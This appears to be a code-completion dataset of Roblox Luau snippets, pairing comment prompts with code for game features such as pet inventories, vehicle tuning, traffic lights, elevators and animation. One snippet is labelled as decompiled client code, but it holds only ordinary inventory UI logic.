prompt
stringlengths 2
14.7k
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stringlengths 1
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|
---|---|
-- This will do the edit gui popup
|
function Triggered(Player)
local PlayerName = Player.Name
if Owner.Value == PlayerName then
UpdateSign:FireClient(Player)
end
end
Prompt.Triggered:Connect(Triggered)
|
--[=[
Detects if a dictionary has a certain key.
```lua
local Dictionary = {
Hay = "A",
MoreHay = "B",
Needle = "C",
SomeHay = "D",
}
print(TableKit.HasKey(Dictionary, "Needle")) -- prints true
```
@within TableKit
@param dictionary table
@param key unknown
@return boolean
]=]
|
function TableKit.HasKey(dictionary: { [any]: unknown }, key: any): boolean
return dictionary[key] ~= nil
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function getLevel(p1)
local v2 = 0;
local l__Value__3 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value;
local v4 = 0 - 1;
while true do
if 100 * v4 + v2 <= p1 then
if v4 ~= l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value then
else
return v4;
end;
if p1 < 100 * v4 + v2 + (100 + 25 * v4) then
return v4;
end;
end;
v2 = v2 + v4 * 25;
if 0 <= 1 then
if v4 < l__Value__3 then
else
break;
end;
elseif l__Value__3 < v4 then
else
break;
end;
v4 = v4 + 1;
end;
end;
function GetFolderFromPetID(p2)
local v5, v6, v7 = pairs(l__LocalPlayer__1.Pets:GetChildren());
while true do
local v8, v9 = v5(v6, v7);
if v8 then
else
break;
end;
v7 = v8;
if v9.PetID.Value == p2 then
return v9;
end;
end;
return nil;
end;
function getLayoutOrder(p3)
local v10 = GetFolderFromPetID(p3);
local l__Value__11 = l__ReplicatedStorage__1.Pets.Rarities:FindFirstChild(l__ReplicatedStorage__1.Pets.Models:FindFirstChild(v10.Name).Settings.Rarity.Value).Order.Value;
local l__Value__12 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value;
local v13 = getLevel(v10.TotalXP.Value);
local v14 = {};
local v15 = 0;
local v16, v17, v18 = pairs(l__ReplicatedStorage__1.Pets.Models:GetChildren());
while true do
local v19, v20 = v16(v17, v18);
if v19 then
else
break;
end;
v18 = v19;
v14[#v14 + 1] = v20;
end;
table.sort(v14, function(p4, p5)
return p4:GetFullName() < p5:GetFullName();
end);
local v21, v22, v23 = pairs(v14);
while true do
local v24 = nil;
local v25 = nil;
v25, v24 = v21(v22, v23);
if v25 then
else
break;
end;
v23 = v25;
if v10.Equipped.Value == true then
if v10.Name == v24.Name then
return l__Value__12 * #v14 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__11) + v15 * l__Value__12 + (l__Value__12 - v13);
end;
elseif v10.Name == v24.Name then
return #v14 * #l__ReplicatedStorage__1.Pets.Rarities:GetChildren() * l__Value__12 + l__Value__12 * #v14 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__11) + v15 * l__Value__12 + (l__Value__12 - v13);
end;
v15 = v15 + 1;
end;
end;
local u2 = Color3.fromRGB(100, 100, 100);
local l__Inventory__3 = script.Parent.Parent.Parent.Parent.MainFrame.Inventory;
local l__Pets__4 = l__LocalPlayer__1:WaitForChild("Pets");
local l__TextLabel__5 = script.Parent.Parent.Parent.Parent.MainFrame.StorageDisplay.TextLabel;
local l__Data__6 = l__LocalPlayer__1:WaitForChild("Data");
local l__TextLabel__7 = script.Parent.Parent.Parent.Parent.MainFrame.EquippedDisplay.TextLabel;
local l__ImageColor3__8 = script.Parent.ImageColor3;
script.Parent.MouseButton1Click:Connect(function()
if script.Parent.TextLabel.Text == "Equip" then
local v26, v27 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Equip", {
PetID = script.Parent.Parent.Parent.PetID.Value
});
if v26 == "Success" then
script.Parent.ImageColor3 = u2;
script.Parent.TextLabel.Text = "Unequip";
for v28, v29 in pairs(l__Inventory__3:GetChildren()) do
if not v29:IsA("UIGridLayout") then
v29.LayoutOrder = getLayoutOrder(v29.PetID.Value);
if v29.PetID.Value == script.Parent.Parent.Parent.PetID.Value then
v29.EquipMarker.Visible = true;
end;
end;
end;
local v30 = 0;
for v31, v32 in pairs(l__Pets__4:GetChildren()) do
if v32.Equipped.Value == true then
v30 = v30 + 1;
end;
end;
l__TextLabel__5.Text = #l__Pets__4:GetChildren() .. "/" .. l__Data__6.MaxStorage.Value;
l__TextLabel__7.Text = v30 .. "/" .. l__Data__6.MaxEquip.Value;
return;
elseif v26 == "Error" then
print(v27);
return;
end;
elseif script.Parent.TextLabel.Text == "Unequip" then
local v33, v34 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Unequip", {
PetID = script.Parent.Parent.Parent.PetID.Value
});
if v33 == "Success" then
script.Parent.ImageColor3 = l__ImageColor3__8;
script.Parent.TextLabel.Text = "Equip";
for v35, v36 in pairs(l__Inventory__3:GetChildren()) do
if not v36:IsA("UIGridLayout") then
v36.LayoutOrder = getLayoutOrder(v36.PetID.Value);
if v36.PetID.Value == script.Parent.Parent.Parent.PetID.Value then
v36.EquipMarker.Visible = false;
end;
end;
end;
local v37 = 0;
for v38, v39 in pairs(l__Pets__4:GetChildren()) do
if v39.Equipped.Value == true then
v37 = v37 + 1;
end;
end;
l__TextLabel__5.Text = #l__Pets__4:GetChildren() .. "/" .. l__Data__6.MaxStorage.Value;
l__TextLabel__7.Text = v37 .. "/" .. l__Data__6.MaxEquip.Value;
return;
elseif v33 == "Error" then
print(v34);
end;
end;
end);
|
-- Vitesse de déplacement en secondes
|
local moveSpeed = 2
local isAtEnd = false
|
-- Services
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ReplicatedFirst = game:GetService("ReplicatedFirst")
local Players = game:GetService("Players")
local TeleportService = game:GetService("TeleportService")
local StarterPack = game:GetService("StarterPack")
local Conf = require(ReplicatedFirst.Configurations.MainConfiguration)
local Log = require(ReplicatedStorage.Libraries.Log)
local Util = require(ReplicatedStorage.Libraries.Util)
local Broadcast = require(ReplicatedStorage.Libraries.Broadcast)
local MatchmakingDestination = require(ReplicatedStorage.Libraries.MatchmakingDestination)
local WeaponsSystem = require(ReplicatedStorage.WeaponsSystem.WeaponsSystem)
local DamageHandler = require(ReplicatedStorage.Core.DamageHandler)
local WeaponsFolder = ReplicatedStorage.Assets.Weapons
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
|
--------STAGE--------
|
game.Workspace.Screens.Current.Value = game.Workspace.Screens.Main.Value
game.Workspace.back1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.back2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crewbig1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crewsmall1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.djstand.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.djtv.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side3.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side4.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side11.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side12.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.sidebig1.Decal.Texture = game.Workspace.Screens.Main.Value
if game.Workspace.CurrentStageTV.Value == "1" then
game.Workspace.main1.Decal.Texture = game.Workspace.Screens.Main.Value
end
|
---------------------------------------------------------------------------------------
|
local defaultMenuFieldOfView = 70
local defaultMenuBlurIntensity = 20
local defaultMenuMusicVolume = 0.5
local defaultGameMusicVolume = 0.35
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function WeldChanged(property)
if property == "Parent" and SeatWeld.Parent == nil then
SeatWeld = nil
Deactivate()
BreakSeatConnections()
end
end
function ChildAdded(child)
if child:IsA("Weld") then
local root = child.Part1
local character = root.Parent
local player = game.Players:GetPlayerFromCharacter(character)
if player then
SeatWeld = child
Activate(player)
MakeSeatConnections()
end
end
end
|
-------------------------
|
function onClicked()
script.Parent.Parent.Down.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 0
script.Parent.Click:Play()
script.Parent.BrickColor = BrickColor.new("Really red")
script.Parent.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 0
wait(2)
script.Parent.Parent.DoorOutside2.CanCollide = true
script.Parent.Parent.DoorOutside2.Transparency = 0
script.Parent.Parent.DoorInside.Transparency = 0
script.Parent.Parent.DoorInside.CanCollide = true
script.Parent.Parent.DoorInside.Close:Play()
wait(3)
script.Parent.Parent.Screen.SurfaceGui.Frame.Down.Visible = true
Car.Start:Play()
Car.Run:Play()
LiftDown:Play()
wait(12)
script.Parent.Parent.Screen.SurfaceGui.Frame.TextLabel.Text = "SECRET BASE"
script.Parent.Parent.Screen.SurfaceGui.Frame.Down.Visible = false
Car.Start:Stop()
Car.Run:Stop()
Car.Stop:Play()
wait(2)
door.Transparency = 1
door.CanCollide = false
script.Parent.Parent.DoorOutside.CanCollide = false
script.Parent.Parent.DoorOutside.Transparency = 1
Car.Ding:Play()
wait(5)
script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 12
script.Parent.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Up.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 12
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Experimental Create Event Handle API.
|
exports.enableCreateEventHandleAPI = false
|
-- created by Dandystan, message on Roblox to provide feedback
| |
--[=[
Binds the given update function to render stepped.
```lua
local spring = Spring.new(0)
local maid = Maid.new()
local startAnimation, maid._stopAnimation = StepUtils.bindToRenderStep(function()
local animating, position = SpringUtils.animating(spring)
print(position)
return animating
end)
spring.t = 1
startAnimation()
```
:::tip
Be sure to call the disconnect function when cleaning up, otherwise you may memory leak.
:::
@param update () -> boolean -- should return true while it needs to update
@return (...) -> () -- Connect function
@return () -> () -- Disconnect function
]=]
|
function StepUtils.bindToRenderStep(update)
return StepUtils.bindToSignal(RunService.RenderStepped, update)
end
|
--[=[
Retrieves the rank of the player in the group.
@param player Player
@param groupId number
@return Promise<number> -- Generally from 0 to 255
]=]
|
function GroupUtils.promiseRankInGroup(player, groupId)
assert(typeof(player) == "Instance" and player:IsA("Player"), "Bad player")
assert(type(groupId) == "number", "Bad groupId")
return Promise.spawn(function(resolve, reject)
local rank = nil
local ok, err = pcall(function()
rank = player:GetRankInGroup(groupId)
end)
if not ok then
return reject(err)
end
if type(rank) ~= "number" then
return reject("Rank is not a number")
end
return resolve(rank)
end)
end
|
-----------------
--| Constants |--
-----------------
|
local BLAST_RADIUS = 8 -- Blast radius of the explosion
local BLAST_DAMAGE = 100 -- Amount of damage done to players
local BLAST_FORCE = 1000 -- Amount of force applied to parts
local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
|
---- Change these settings to change stuff (keep the commas, lua doesn't understand n00b syntax)
|
local settings = {
splatters_per_health_inc = 1, ---- The amount of blood splatters made when you lose (damage_inc) of health
damage_inc = 3, ---- The increment of damage that must be done at a time to trigger blood splatters
remove_time = 20, ---- The time (in seconds) until a blood splatter is removed after it is created
min_splatter_time = 0, ---- The delay time (minimum) until another blood splatter is made
max_splatter_time = 0.05, ---- The delay time (maximum) until another blood splatter is made
min_transparency = 0.2, ---- The (minimum) transparency of a blood splatter
max_transparency = 0, ---- The (maximum) transparency of a blood splatter
min_size_x = 3, ---- The (minimum) size of a blood splatter on the X axis
max_size_x = 8, ---- The (maximum) size of a blood splatter on the X axis
min_size_z = 3, ---- The (minimum) size of a blood splatter on the Z axis
max_size_z = 8, ---- The (maximum) size of a blood splatter on the Z axis
tran_tw_time_min = 0.1, ---- The (minimum) time to tween the size of a blood splatter
tran_tw_time_max = 0.5, ---- The (maximum) time to tween the size of a blood splatter
size_tw_time_min = 0.1, ---- The (minimum) time to tween the transparency of a blood splatter
size_tw_time_max = 0.6 ---- The (maximum) time to tween the transparency of a blood splatter
}
|
-- Initialize the tool
|
local MaterialTool = {
Name = 'Material Tool';
Color = BrickColor.new 'Bright violet';
};
|
--| Custom |--
|
local Distance = 30 -- Distance (hitbox)
local Damage = 10 -- damage
|
--local d = function ()
-- Zombie.Animation.Looped = true
-- Zombie.Animation:Play(1)
--end
| |
-- Inheritance:
|
rev_ReplicaSetParent.OnClientEvent:Connect(function(replica_id, parent_replica_id) -- (replica_id, parent_replica_id)
local replica = Replicas[replica_id]
local old_parent_children = replica.Parent.Children
local new_parent = Replicas[parent_replica_id]
table.remove(old_parent_children, table.find(old_parent_children, replica))
table.insert(new_parent.Children, replica)
replica.Parent = new_parent
-- Trigger child added:
local child_listener_table = ChildListeners[parent_replica_id]
if child_listener_table ~= nil then
for i = 1, #child_listener_table do
child_listener_table[i](replica)
end
end
end)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 1740 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 2000 -- Use sliders to manipulate values
Tune.Redline = 12000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
----------------------This is just an example-----------------------------
|
script.Parent.Parent.Ammo.Visible = true
script.Parent.Parent.Ammo.Text = ammo2.Value
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
--print("Keyframe : ".. frameName)
playToolAnimation(toolAnimName, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
--print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
-- Make Connection strict
|
setmetatable(Connection, {
__index = function(tb, key)
error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
end,
__newindex = function(tb, key, value)
error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
end
})
|
-- Libraries
|
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
local Roact = require(Vendor:WaitForChild('Roact'))
local ColorPicker = require(UI:WaitForChild('ColorPicker'))
local Dropdown = require(UI:WaitForChild('Dropdown'))
local Signal = require(Libraries:WaitForChild('Signal'))
|
-- Removes an object's tree node. Called when the object stops existing in the
-- game tree.
|
removeObject = function(object)
local objectNode = NodeLookup[object]
if not objectNode then
return
end
local visible = nodeIsVisible(objectNode)
Selection:Remove(object,true)
local parent = objectNode.Parent
remove(parent,objectNode.Index)
NodeLookup[object] = nil
connLookup[object]:disconnect()
connLookup[object] = nil
if visible then
updateList()
elseif nodeIsVisible(parent) then
updateScroll()
end
end
|
-- declarations
|
local head = script.Parent
local sound = head:findFirstChild("Victory")
function onTouched(part)
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
sound:play()
if part.Parent:findFirstChild("Torso"):findFirstChild("roblox").Texture == nil then return end
part.Parent:findFirstChild("Torso"):findFirstChild("roblox").Texture=""
part.Parent:findFirstChild("Head").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Torso").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Left Arm").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Right Arm").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Left Leg").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Right Leg").BrickColor = BrickColor.new(1)
end
end
script.Parent.Touched:connect(onTouched)
|
-- jest --expand
--
-- Given array of aligned strings with inverse highlight formatting,
-- return joined lines with diff formatting.
|
local function joinAlignedDiffsExpand(diffs: Array<Diff>, options: DiffOptionsNormalized): string
return table.concat(
Array.map(diffs, function(diff, i: number, diffs_: { [number]: any }): string
local line = diff[2]
-- ROBLOX deviation: 1-indexing
local isFirstOrLast = i == 1 or i == #diffs_
local case = diff[1]
if case == DIFF_DELETE then
return printDeleteLine(line, isFirstOrLast, options)
elseif case == DIFF_INSERT then
return printInsertLine(line, isFirstOrLast, options)
else
return printCommonLine(line, isFirstOrLast, options)
end
end),
"\n"
)
end
return {
joinAlignedDiffsNoExpand = joinAlignedDiffsNoExpand,
joinAlignedDiffsExpand = joinAlignedDiffsExpand,
}
|
--[[
Indexes the avatar joints and gives them a default orientation
]]
|
function ClientAvatarComponent:setupJoints()
self.shoulders = {}
self.hips = {}
self.knees = {}
local leftShoulder = self.avatar:FindFirstChild("LeftShoulder", true)
local rightShoulder = self.avatar:FindFirstChild("RightShoulder", true)
local leftHip = self.avatar:FindFirstChild("LeftHip", true)
local rightHip = self.avatar:FindFirstChild("RightHip", true)
local leftKnee = self.avatar:FindFirstChild("LeftKnee", true)
local rightKnee = self.avatar:FindFirstChild("RightKnee", true)
-- Transform doesn't replicate, so this is applied clientside on each client
-- As animations can't be shared between users yet, we can't use an animation for this
if leftShoulder and leftShoulder:IsA("Motor6D") then
leftShoulder.Transform = CFrame.Angles(0.3 * math.pi, 0, 0)
self.shoulders.left = leftShoulder
end
if rightShoulder and rightShoulder:IsA("Motor6D") then
rightShoulder.Transform = CFrame.Angles(0.3 * math.pi, 0, 0)
self.shoulders.right = rightShoulder
end
if leftHip and leftHip:IsA("Motor6D") then
leftHip.Transform = CFrame.Angles(0.5 * math.pi, 0, 0)
self.hips.left = leftHip
end
if rightHip and rightHip:IsA("Motor6D") then
rightHip.Transform = CFrame.Angles(0.5 * math.pi, 0, 0)
self.hips.right = rightHip
end
if leftKnee and leftKnee:IsA("Motor6D") then
leftKnee.Transform = CFrame.Angles(-0.5 * math.pi, 0, 0)
self.knees.left = leftKnee
end
if rightKnee and rightKnee:IsA("Motor6D") then
rightKnee.Transform = CFrame.Angles(-0.5 * math.pi, 0, 0)
self.knees.right = rightKnee
end
end
|
--Reset First
|
LeftHip.C1 = CFrame.new(3,0,0)
RightHip.C1 = CFrame.new(-3,0,0)
print("Completed")
while true do
LeftHip.C1 = CFrame.new(3,0,0-5)
RightHip.C1 = CFrame.new(-3,0,0+5)
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,-0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,-0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
sp.Parent.Torso["Footstep"..math.random(1,3)]:Play()
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,-0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,-0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
sp.Parent.Torso["Footstep"..math.random(1,3)]:Play()
end
|
--[[if player and player.Parent:findFirstChild("Humanoid") then
local enemy = game.Players:findFirstChild(player.Parent.Name)
if enemy then
if enemy.TeamColor ~= pler.TeamColor then
if player.Parent:findFirstChild("Head") and not pler.PlayerGui:findFirstChild(player.Parent.Name) then
local big = Instance.new("BillboardGui",pler.PlayerGui)
big.Name = player.Parent.Name
big.Adornee = player.Parent:findFirstChild("Head")
big.Size = UDim2.new( 1.0, 0, 1.0, 0 )
big.StudsOffset = Vector3.new( 0, 2, 0 )
local name = Instance.new("TextLabel",big)
name.Position = UDim2.new( 0.5, 0, 0, 0 )
name.FontSize = 3
name.BackgroundTransparency = 1
name.Size = UDim2.new(0, 0, 0, 0 )
name.Text = player.Parent.Name
name.TextColor3 = Color3.new(25, 0, 0)
game.Debris:AddItem(big,1)
end
end
end
end]]
|
end
end
function on(mouse)
while true do
wait(.5)
Run(mouse)
end
end
Tool.Equipped:connect(on)
|
---------------------------------------------
|
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 1
PedValues.PedSignal2a.Value = 1
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 2
PedValues.PedSignal2a.Value = 2
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 1
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL2 PROTECTED TURN GREEN)
TurnValues.TurnSignal2.Value = 2
wait(4)--Yield Time (YIELD SIGNAL2 PROTECTED TURN GREEN)
TurnValues.TurnSignal2.Value = 3
SignalValues.Signal2a.Value = 3
wait(2)-- All Red Cycle
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10) -- Green Time + Time for Signal2a
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)--ALL RED
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 1
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 2
wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 3
SignalValues.Signal1a.Value = 3
wait(2)-- All Red Cycle
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10) -- Green Time + Time for Signal1a
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
